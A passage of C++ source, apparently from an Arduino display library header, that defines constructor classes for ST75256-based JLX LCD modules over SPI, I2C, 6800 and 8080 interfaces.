cs, reset); } }; class U8X8_ST75256_JLX256160_ALT_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX256160_ALT_6800 : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_ALT_8080 : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX256160_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX256160_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX256160_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX256160M_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160M_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX256160M_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160M_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX256160M_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160M_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX256160_ALT_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX256160_ALT_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX256160_ALT_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX256160_ALT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX240160_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX240160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX240160_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX240160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX240160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX240160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX240160_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX240160_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX240160_6800 : public U8X8 { public: U8X8_ST75256_JLX240160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX240160_8080 : public U8X8 { public: U8X8_ST75256_JLX240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX240160_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX240160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX240160_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX240160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX240160_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX240160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX25664_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX25664_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX25664_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX25664_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX25664_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX25664_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX25664_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX25664_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX25664_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX25664_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX25664_6800 : public U8X8 { public: U8X8_ST75256_JLX25664_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX25664_8080 : public U8X8 { public: U8X8_ST75256_JLX25664_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX25664_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX25664_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX25664_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX25664_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX25664_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX25664_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX172104_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX172104_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX172104_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX172104_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX172104_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX172104_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX172104_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX172104_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX172104_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX172104_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX172104_6800 : public U8X8 { public: U8X8_ST75256_JLX172104_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX172104_8080 : public U8X8 { public: U8X8_ST75256_JLX172104_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX172104_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX172104_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX172104_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX172104_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX172104_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX172104_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX19296_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX19296_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX19296_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX19296_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX19296_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX19296_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX19296_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX19296_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX19296_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX19296_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX19296_6800 : public U8X8 { public: U8X8_ST75256_JLX19296_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX19296_8080 : public U8X8 { public: U8X8_ST75256_JLX19296_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX19296_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX19296_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX19296_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX19296_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_ST75256_JLX19296_2ND_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX19296_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_ST75256_JLX16080_4W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX16080_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_ST75256_JLX16080_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX16080_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX16080_2ND_4W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX16080_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_ST75256_JLX16080_3W_SW_SPI : public U8X8 { public: U8X8_ST75256_JLX16080_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_ST75256_JLX16080_3W_HW_SPI : public U8X8 { public: U8X8_ST75256_JLX16080_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_ST75256_JLX16080_6800 : public U8X8 { public: U8X8_ST75256_JLX16080_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX16080_8080 : public U8X8 { public: U8X8_ST75256_JLX16080_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_ST75256_JLX16080_SW_I2C : public U8X8 { public: U8X8_ST75256_JLX16080_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_ST75256_JLX16080_HW_I2C : public U8X8 { public: U8X8_ST75256_JLX16080_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx16080, 